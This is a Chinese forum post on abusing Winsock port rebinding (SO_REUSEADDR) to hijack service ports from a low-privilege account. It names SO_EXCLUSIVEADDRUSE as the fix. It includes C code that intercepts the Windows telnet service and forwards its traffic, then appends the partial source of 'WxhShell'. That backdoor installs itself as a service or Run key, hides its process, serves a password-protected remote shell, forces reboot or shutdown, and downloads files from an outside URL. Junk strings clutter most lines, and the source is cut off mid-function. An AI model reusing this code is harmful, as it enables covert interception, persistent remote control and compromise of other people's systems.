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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Ih5F\eM  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); .5?Md  
>tVD[wVF0  
  saddr.sin_family = AF_INET; -nC!kpo  
-$5nqaK?  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ? Glkhf7(  
Lw #vHNf6  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); aG/L'weR  
aT%6d@g  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 bY7~b/  
^1w*$5YI  
  这意味着什么?意味着可以进行如下的攻击: K@+(6\6I  
rJ_fg$.<  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 '5m`[S-IU  
zu|=1C#5h  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) / ,#&Htk  
:TN^}RML  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 p+d?k"WN?  
k6W  [//  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  pbb6?R,  
F5;x>;r  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 <ooRpn  
*[[TDduh&  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 <)$b=z  
7"Iagrgw  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 U4$CkTe2Y  
t(?tPt4zp  
  #include ' CO3b,  
  #include k=qb YGK  
  #include %.;`0}b  
  #include    yW)X asn  
  DWORD WINAPI ClientThread(LPVOID lpParam);   h"5!puN+  
  int main() b py576GwA  
  { / qo`vk A  
  WORD wVersionRequested; [P?.( *  
  DWORD ret; [ZkK)78}k  
  WSADATA wsaData; [X|KXlNfm  
  BOOL val; 4mJ[Wr\y  
  SOCKADDR_IN saddr; p(]o#$ 6[  
  SOCKADDR_IN scaddr; )rFcfS+/  
  int err; ;NeN2|I]  
  SOCKET s; 74q |FQ  
  SOCKET sc; $mp'/]  
  int caddsize; Ik74%x7G`  
  HANDLE mt; I4"U/iL51  
  DWORD tid;   orzy &4  
  wVersionRequested = MAKEWORD( 2, 2 ); o{wXq)b  
  err = WSAStartup( wVersionRequested, &wsaData ); X:Z*7P/  
  if ( err != 0 ) { 6t(I.>-  
  printf("error!WSAStartup failed!\n"); $S _VR  
  return -1; a4iq_F#NF  
  } 4P\?vz"  
  saddr.sin_family = AF_INET; *wetPt)~v_  
   x nm!$ $W  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 G.#sX  
qC aM]Y  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); kan4P@XVS  
  saddr.sin_port = htons(23); m6=Jp<  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ^-i<TJ  
  { ;+h-o  
  printf("error!socket failed!\n"); ' ;PHuMY#X  
  return -1; 3m9ab"  
  } Ue22,Pp6  
  val = TRUE; 8f0Ytfhw  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 e+=P)Zp/  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ^6U0n!nU  
  { ($ l t@j  
  printf("error!setsockopt failed!\n"); >m;*Zk`  
  return -1; '-[~I>o%  
  } p&~= rp`E  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 4BgrG[l)  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 zU$S#4/C  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 hB)TH'R{:  
Ei[>%Ah  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 8bIwRVA2\  
  { +P. }<  
  ret=GetLastError(); $-:j'e:j  
  printf("error!bind failed!\n"); 6$|!_94>*)  
  return -1; %+,7=Wt-  
  } J(JqusQd !  
  listen(s,2); ^7 oXJu=  
  while(1) & 0*=F%Fd  
  { -h/KrB  
  caddsize = sizeof(scaddr); >^fkHbgNQ  
  //接受连接请求 f^63<gqY  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); S=bdue  
  if(sc!=INVALID_SOCKET) hRvj iK\  
  { )m7 Yo  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ?g21U97Q  
  if(mt==NULL) uNn]hl|x  
  { R%Y#vUmBV{  
  printf("Thread Creat Failed!\n"); ;.<0lnV  
  break; aJi0!6oy  
  } yxt `  
  } CkJ\v%JAW  
  CloseHandle(mt); @3:oo /;  
  } _PR> <L_  
  closesocket(s); OAhCW*B  
  WSACleanup(); C3p/|{TP  
  return 0; .%rB-vO:g  
  }   ,:e##g~k  
  DWORD WINAPI ClientThread(LPVOID lpParam) If*t$f>y4N  
  { LgX"Qk&Ca  
  SOCKET ss = (SOCKET)lpParam; ^Q'^9M2)  
  SOCKET sc; A=5A8B1  
  unsigned char buf[4096]; jK{)gO  
  SOCKADDR_IN saddr; iEJY[P1  
  long num; (3>Z NTm  
  DWORD val; OYsG#  
  DWORD ret; v)a$;P%  
  //如果是隐藏端口应用的话,可以在此处加一些判断 2 Xt$KF,?  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ;ESuj'*t  
  saddr.sin_family = AF_INET; C=z7Gk=  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); U%~L){<V[  
  saddr.sin_port = htons(23); [N-t6Z*  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) +%hA 6n  
  { )K0BH q7r  
  printf("error!socket failed!\n"); (gn)<JJS}  
  return -1; wwtk6;8@  
  } mz~aSbb|  
  val = 100; i9FHEu_  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 0WjPo  
  { eaI!}#>R +  
  ret = GetLastError(); P{-f./(JD  
  return -1; @+3@Z?!SZ  
  } 6H\apgHm  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) X~ AE??  
  { '<35XjW  
  ret = GetLastError(); c8'! >#$  
  return -1; )OAd[u<  
  } Gg3cY{7  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) *0 0K3  
  { ?1z." &  
  printf("error!socket connect failed!\n"); Y0||>LX  
  closesocket(sc); n' \poB?  
  closesocket(ss); FD&"k=p+X  
  return -1; l }i .  
  } 7;UUS1  
  while(1) x[,HK{U|t  
  { jJN.(  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 P1Z+XRWOM  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 '7!b#if  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 D-[` wCa,  
  num = recv(ss,buf,4096,0); O<1qU M  
  if(num>0) V _&>0P{q  
  send(sc,buf,num,0); @GB~rfB[  
  else if(num==0) XCGJ~  
  break; [a&|c%h  
  num = recv(sc,buf,4096,0); Lwg@*:`d  
  if(num>0) 0koC;(<n  
  send(ss,buf,num,0); "Yo.]P U  
  else if(num==0) pL {h1^O}  
  break; J8T?=%?=  
  } EMDsi2  
  closesocket(ss); /idQfff  
  closesocket(sc); ="$9 <wt  
  return 0 ; eJ+uP,$  
  } }K!)Z}8  
b-1cA1#_cP  
z]NzLz9VfL  
========================================================== `|1#Vuk  
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下边附上一个代码,,WXhSHELL F0O/SI(cA  
a| *{BlY  
========================================================== Hq{i-z+  
w!0`JPu  
#include "stdafx.h" ZE())W"  
1Qi5t?{  
#include <stdio.h> ;_.%S*W\  
#include <string.h> !18M!8Xea  
#include <windows.h> [f'V pId8  
#include <winsock2.h> :<    
#include <winsvc.h> !);kjXQS?  
#include <urlmon.h> ]vJ] i <|b  
J!$q"0G'WT  
#pragma comment (lib, "Ws2_32.lib") ,~@Nhd~k  
#pragma comment (lib, "urlmon.lib") 5$,dpLbL  
t,*hxzD"  
#define MAX_USER   100 // 最大客户端连接数 rpk )i:k\  
#define BUF_SOCK   200 // sock buffer U{2[n F  
#define KEY_BUFF   255 // 输入 buffer ~ >af"<  
_]~gp.  
#define REBOOT     0   // 重启 K[%)_KW  
#define SHUTDOWN   1   // 关机 ,DN>aEu1  
;TAf[[P  
#define DEF_PORT   5000 // 监听端口 d66 GO];"  
73kF=*m  
#define REG_LEN     16   // 注册表键长度 ,;aELhMZ  
#define SVC_LEN     80   // NT服务名长度 *(%]|z}]m  
87Sqs1>cw  
// 从dll定义API cr{;gP  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); E,]G Ek  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 9'tElpDJ6#  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); o1j_5c PS  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); CzF#feTA  
Tl.dr   
// wxhshell配置信息 .^<4]  
struct WSCFG { ]UR@V;JG  
  int ws_port;         // 监听端口 W0]W[b,:u$  
  char ws_passstr[REG_LEN]; // 口令  a=<l}`*  
  int ws_autoins;       // 安装标记, 1=yes 0=no Le&SN7I  
  char ws_regname[REG_LEN]; // 注册表键名 &{): x  
  char ws_svcname[REG_LEN]; // 服务名 j4v.8;  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 *C~O[:6D  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 R^`#xQ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 9sQ4 $  
int ws_downexe;       // 下载执行标记, 1=yes 0=no kKU,|> 3h  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" \ /3Xb  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 O@@=ZyYwc  
GXV<fc"1  
}; WD=#. $z$  
N`FgjnQ`  
// default Wxhshell configuration "XWrd [Df  
struct WSCFG wscfg={DEF_PORT, CNCWxu  
    "xuhuanlingzhe", Cv@ZzILyoK  
    1, K&zp2V  
    "Wxhshell", uyt]\zVT  
    "Wxhshell", ]] R*sd*  
            "WxhShell Service", ('qu#.'  
    "Wrsky Windows CmdShell Service", (Kl96G<Wej  
    "Please Input Your Password: ", <r_L-  
  1, F;5S2:a@Z  
  "http://www.wrsky.com/wxhshell.exe", g$c\(isY;  
  "Wxhshell.exe" YQb43Sh`  
    }; 'lPt.*Y<u  
vf=b5s(7Q  
// 消息定义模块 <IWO:7*#  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; I:4m]q b  
char *msg_ws_prompt="\n\r? for help\n\r#>"; $F|3VQ~  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; teO%w9ByY  
char *msg_ws_ext="\n\rExit."; N? r{Y$x  
char *msg_ws_end="\n\rQuit."; c2aX_ "  
char *msg_ws_boot="\n\rReboot..."; ZXP9{Hh  
char *msg_ws_poff="\n\rShutdown..."; KTV~g@Jf  
char *msg_ws_down="\n\rSave to "; Yx4TUA$c'  
oMH-mG7:K  
char *msg_ws_err="\n\rErr!"; R;2tb7o  
char *msg_ws_ok="\n\rOK!"; }%K)R 5C  
=-XI)JV#  
char ExeFile[MAX_PATH]; 3jMHe~.E<  
int nUser = 0; ')k n  
HANDLE handles[MAX_USER]; o1x IGP<  
int OsIsNt; Q/oel'O*x  
3<ikMUq&  
SERVICE_STATUS       serviceStatus; 7B@[`>5?%L  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 1'c  
(1`z16  
// 函数声明 )/BI :)  
int Install(void); `N8?F3>  
int Uninstall(void); C-Q]f  
int DownloadFile(char *sURL, SOCKET wsh); s8,{8k  
int Boot(int flag); YGRv``(  
void HideProc(void); AV"fOK;#A  
int GetOsVer(void); v%_5!SR  
int Wxhshell(SOCKET wsl); Tx)X\&ij&  
void TalkWithClient(void *cs); %d<uOCf\Q  
int CmdShell(SOCKET sock); u{F^Ngy )  
int StartFromService(void); zKycd*X  
int StartWxhshell(LPSTR lpCmdLine); 's.%rre%  
UZ8 vZ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 8!a6)Zeux  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Q;m:o8Q5  
#/u%sX`#y  
// 数据结构和表定义 &/K:zWk3mx  
SERVICE_TABLE_ENTRY DispatchTable[] = 7X \azL  
{ q.s2x0  
{wscfg.ws_svcname, NTServiceMain}, `m N*"1p-  
{NULL, NULL} =|lw~CW  
}; |P{K\;-  
A^/$ |@  
// 自我安装 4CR.=  
int Install(void) {0J TN%e  
{ 9,h'cf`F  
  char svExeFile[MAX_PATH]; :JBvCyj4PE  
  HKEY key; Qqt<  
  strcpy(svExeFile,ExeFile); %nU8 Ca  
QLx]%E\  
// 如果是win9x系统,修改注册表设为自启动 s bf\;_!  
if(!OsIsNt) { *h=|KOS  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Ep/kb-~-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [nQ<pTg~r  
  RegCloseKey(key); N1dp%b9W(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9cJzL"yi  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]s3U+t?  
  RegCloseKey(key); u="VJ3  
  return 0; 9EryHV|  
    } y/!h.[  
  } a@[y)xa$Z  
}  EAVB:gE  
else { Tv d=EO  
Y9h~ hD  
// 如果是NT以上系统,安装为系统服务 x1\ a_Kt  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); <S*o}:iB  
if (schSCManager!=0) Jg I+k Nx  
{ 'g<0MOq{  
  SC_HANDLE schService = CreateService seT?:PCA  
  ( `^t0379e  
  schSCManager, 3*13XQ  
  wscfg.ws_svcname, 9(.P2yO  
  wscfg.ws_svcdisp, 4~<  :Pj  
  SERVICE_ALL_ACCESS, &. sfu$]  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , M" |Mte  
  SERVICE_AUTO_START, -p|@Enn  
  SERVICE_ERROR_NORMAL, 577H{;pW  
  svExeFile, Jf<+VJ>t  
  NULL, (A.%q1h  
  NULL, -]1F ] d  
  NULL, }@-4*5P3  
  NULL, B(<;]  
  NULL ekB!d  
  ); JJL#Y  
  if (schService!=0) FKU$HQw*  
  { OidF{I*O  
  CloseServiceHandle(schService); wyqXD.o f  
  CloseServiceHandle(schSCManager); Z4U8~i  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); zY@|KV"^r  
  strcat(svExeFile,wscfg.ws_svcname); lNtZd?=>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { E|!rapa  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); <^}{sdOyu  
  RegCloseKey(key); GT|=Kx$;  
  return 0; AplXl=  
    } vh8{*9+  
  } Eeem y*U  
  CloseServiceHandle(schSCManager); vAW+ ,Rfj  
} ,(0q  
} N :E7rtT,M  
h(aF>a\Z  
return 1; KNtsz[#b  
} `@MY}/ o.  
\M4/?<g  
// 自我卸载 psb$rbu7[  
int Uninstall(void) 8 Zy`Z  
{ ^+CTv  
  HKEY key; }]cKOv2  
`>^2MHF3LT  
if(!OsIsNt) { )L?JH?$C  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { T7E9l  
  RegDeleteValue(key,wscfg.ws_regname); '2+Rb7V  
  RegCloseKey(key); ve.rp F\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [ F id  
  RegDeleteValue(key,wscfg.ws_regname); kFPZ$8e  
  RegCloseKey(key); Xrpzc~(  
  return 0; +R}(t{b#  
  } rSU%!E+|<  
} ; qT~81  
} KD]8n]c  
else { 3cK`RM `  
8NLTq|sW  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); [eV!ho*r  
if (schSCManager!=0) 0( fN  
{ {5}UP@h  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); wTBp=)1)f  
  if (schService!=0) q7-Eu4w  
  { j'lfH6_')e  
  if(DeleteService(schService)!=0) { K9Dxb  
  CloseServiceHandle(schService); $N[-ks2 {@  
  CloseServiceHandle(schSCManager); Y$8 >fv  
  return 0; 3RpDIl`0  
  } ~Ein)5  
  CloseServiceHandle(schService); U[5  
  } Z IfhC'  
  CloseServiceHandle(schSCManager); DJSSc  
} 3DRXao  
} {Z<4  
F5Tah{  
return 1; b?U!<s.  
} %H\i}}PTe  
LO8V*H(  
// 从指定url下载文件 U[9`:aV;  
int DownloadFile(char *sURL, SOCKET wsh) aagN-/mgm  
{ Cs$wgm*  
  HRESULT hr; >/;V_(  
char seps[]= "/"; nU$;W  
char *token; XBv:$F.>$  
char *file; SEm3T4dfzf  
char myURL[MAX_PATH]; 4}B9y3W:v  
char myFILE[MAX_PATH]; aNgaV$|2a  
xk=5q|u_-  
strcpy(myURL,sURL); {<7!=@j  
  token=strtok(myURL,seps); +o)o4l%3  
  while(token!=NULL) E.kGBA;a?  
  { R[>fT}Lo  
    file=token; `mV&[`NZ  
  token=strtok(NULL,seps); i,>yIPBU!  
  } (C/2shr 8  
^]}UyrOn  
GetCurrentDirectory(MAX_PATH,myFILE); fw@n[u{~  
strcat(myFILE, "\\"); '6*^s&H~  
strcat(myFILE, file); H8j#rC#&pm  
  send(wsh,myFILE,strlen(myFILE),0); !gv/jdF  
send(wsh,"...",3,0); #)`N  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); D2x-Wa  
  if(hr==S_OK) o ohgZ&k2]  
return 0; -7)%J+5  
else 'r6s5 WC  
return 1; `Y `Ujr\6  
n2\;`9zm  
} _SM5x,Zd  
[4'C4Zl  
// 系统电源模块 .XR`iX Y  
int Boot(int flag) &VtTUy}  
{ Uu xbN-u  
  HANDLE hToken; ,Z*Fo: q  
  TOKEN_PRIVILEGES tkp; o|lEF+  
[eI{vH{  
  if(OsIsNt) { D4%5T>^LW[  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); h?[3{Z^  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); JgXP2|Y!  
    tkp.PrivilegeCount = 1; Ld>y Fb(`  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; n@[&SgZq  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); <oG+=h  
if(flag==REBOOT) { q6'3-@%  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) NqcmjHvy  
  return 0; WT$m*I  
} i8A{DMc,U  
else { MJS4^*B\1  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) p$^}g:  
  return 0; VR/7CI4=  
} +grIw# j  
  } FHWzwi*u}  
  else {  ?CKINN  
if(flag==REBOOT) { *'=JT#  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) a=bP   
  return 0; ~`M>&E@Y_/  
} (h>Jz  
else { 37'@,*m`  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 6#P\DT  
  return 0; jH26-b<  
} ,Oojh;P_  
} &kh7|:{j  
g#0h{%3A \  
return 1; MJsz  
} 8%OS ,Z  
(u`[I4z`  
// win9x进程隐藏模块 %/!n]g-  
void HideProc(void) hXr`S4aJ  
{ e6n1/TtqM  
~_v?M%5i  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); |&vQ1o|}  
  if ( hKernel != NULL ) | _/D-m*  
  { 1(6B|w5+  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 9 ! [oJ3  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); vUD,%@k9  
    FreeLibrary(hKernel); ~7aBli=  
  } ~#3h-|]*  
UO(B>Abp  
return; MJ^NRT0?b  
} V {R<R2h1  
g _fvbVX  
// 获取操作系统版本 xo#&&/6  
int GetOsVer(void) D6&fDhO27  
{ .ruGS.nS4  
  OSVERSIONINFO winfo; /5M@>A^?'  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 9An_zrJ%i  
  GetVersionEx(&winfo); fRKO> /OT  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 5HP6o  
  return 1; -AwR$<q'  
  else @ @$=MSN  
  return 0; Rt!G:hy7  
} -N`j` zb|  
u,<I%  
// 客户端句柄模块 {6Tw+/`P  
int Wxhshell(SOCKET wsl) weCRhA  
{ 3\FPW1$i|[  
  SOCKET wsh; *yp}#\rk  
  struct sockaddr_in client; Pe@M_ r  
  DWORD myID; Qd"{2>  
m[&]#K6  
  while(nUser<MAX_USER) G4g <PFx  
{ K%9PIqK?4  
  int nSize=sizeof(client); Ep-{Ew{T_=  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); v w$VR PW  
  if(wsh==INVALID_SOCKET) return 1; .&d]7@!qy  
|@pJ]  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Gs$<r~Tg  
if(handles[nUser]==0) mlCw(i,  
  closesocket(wsh); 5P_%Vp`B2  
else cF{5[?wS  
  nUser++; zRtaO'G(  
  } t6p}LNm(V  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); pQr `$:ga  
xi=Z<G  
  return 0; JzH\_,,  
} 0KqGJ :Ru  
+f/G2qY!t  
// 关闭 socket D&_Ir>"\  
void CloseIt(SOCKET wsh) !FOPFPn  
{ VQE8hQ37  
closesocket(wsh); "'p;Udt/Qm  
nUser--; tK)E*!  
ExitThread(0); *k'D%}N:  
} <%klrQya  
vU Bk oC2Q  
// 客户端请求句柄 |__\Vn  
void TalkWithClient(void *cs) %Y8#I3jVJ  
{ q,-bw2   
xEtzqP<]  
  SOCKET wsh=(SOCKET)cs; 3DRbCKNL  
  char pwd[SVC_LEN]; tj 6 #lM9  
  char cmd[KEY_BUFF]; ^G'8!!ys  
char chr[1]; qH'T~# S  
int i,j; KB+,}7  
S)Cd1`Gf  
  while (nUser < MAX_USER) { B:qH7`s  
HrQBzS  
if(wscfg.ws_passstr) { \YO1;\W  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); j48cI3C  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); hEAt4z0P  
  //ZeroMemory(pwd,KEY_BUFF); [su2kOX|X  
      i=0; kSGFLP1FN  
  while(i<SVC_LEN) { }{;m:Iia_  
[f["9(:  
  // 设置超时 N'_,VB  
  fd_set FdRead; lot7SXvK  
  struct timeval TimeOut; m=i8o `  
  FD_ZERO(&FdRead); X8l[B{|  
  FD_SET(wsh,&FdRead); {IEc{y7?gO  
  TimeOut.tv_sec=8; NN1d?cOn  
  TimeOut.tv_usec=0; l1}=>V1  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); %lPAq  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); _YzItge*  
HHu|X`tc  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "R@N}q<*v2  
  pwd=chr[0]; M B|+F  
  if(chr[0]==0xd || chr[0]==0xa) { WCxt-+#  
  pwd=0; oLVy?M%{P  
  break; qk~ni8  
  } JmB7tRM8  
  i++; mmP>Ji  
    } FC<aX[~&3  
;taTdzR_  
  // 如果是非法用户,关闭 socket v-2_#  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [)U|HnAJ  
} HNN,1MN  
hMz= \)Pl  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); PY=(|2tb4  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |@KW~YlE  
ZrJAfd\5c  
while(1) { `.Z MwA  
B6&PYMFK?*  
  ZeroMemory(cmd,KEY_BUFF); Zh.5\&bm  
6W&huIQ[  
      // 自动支持客户端 telnet标准   nQ>?{"  
  j=0; Dp|y&x!  
  while(j<KEY_BUFF) { =$3]%b}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); d5&avL\  
  cmd[j]=chr[0]; UZsL0  
  if(chr[0]==0xa || chr[0]==0xd) { [pi!+k  
  cmd[j]=0; X3zk UMk  
  break; ''P.~~ezr5  
  } & Ji!*~sE  
  j++; 9`kxyh</  
    } !mhV$2&r  
,Cx @]]  
  // 下载文件 Wkw.z  
  if(strstr(cmd,"http://")) { \C;cs&\Q  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ig Fz~  
  if(DownloadFile(cmd,wsh)) Lqy]bnY  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?EF[OyE  
  else M]&F1<  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Xy[O  
  } ) jBPt&  
  else { 71`)@y,Z,  
mX))*e4k  
    switch(cmd[0]) { #DjSS.iW  
  M qq/k J  
  // 帮助 ~bU!4P}4j  
  case '?': { csP 5R3  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); xgV. <^  
    break; Z,AF^,H[  
  } X5i?B b.  
  // 安装 `l+{jrRb<  
  case 'i': { @-y.Y}k#$~  
    if(Install()) kj_ o I5<'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O>UG[ZgW  
    else &u) R+7bl,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #&zNYzI  
    break; }gw \w?/  
    } Wt=QCutt  
  // 卸载 `8^4,  
  case 'r': { tow0/ Jt  
    if(Uninstall()) .OI&Zm-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fWo}gH~  
    else 297X).  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ax &Z=  
    break; j} ^?3<  
    } 1FC'DH!  
  // 显示 wxhshell 所在路径 A/eZnsk  
  case 'p': { 07pASZ;~  
    char svExeFile[MAX_PATH]; ( <~  
    strcpy(svExeFile,"\n\r"); *`.h8gTD,  
      strcat(svExeFile,ExeFile); 67Z@Hg  
        send(wsh,svExeFile,strlen(svExeFile),0); 5~GHAi  
    break; #6O<!{PH6  
    } 1#rcxUSi  
  // 重启 .bcoH  
  case 'b': { Y*0AS|r!  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); R5PXX&Q  
    if(Boot(REBOOT)) t[$C r;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $80 TRB#  
    else { 8w-2Q  
    closesocket(wsh); c:QZ(8d]L  
    ExitThread(0); D; xRgHn  
    } N]gJ( g  
    break; hgt@Mb   
    } /SDN7M]m!  
  // 关机 -Zs.4@GH  
  case 'd': { Q+L;k R  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); tf?syk+jB7  
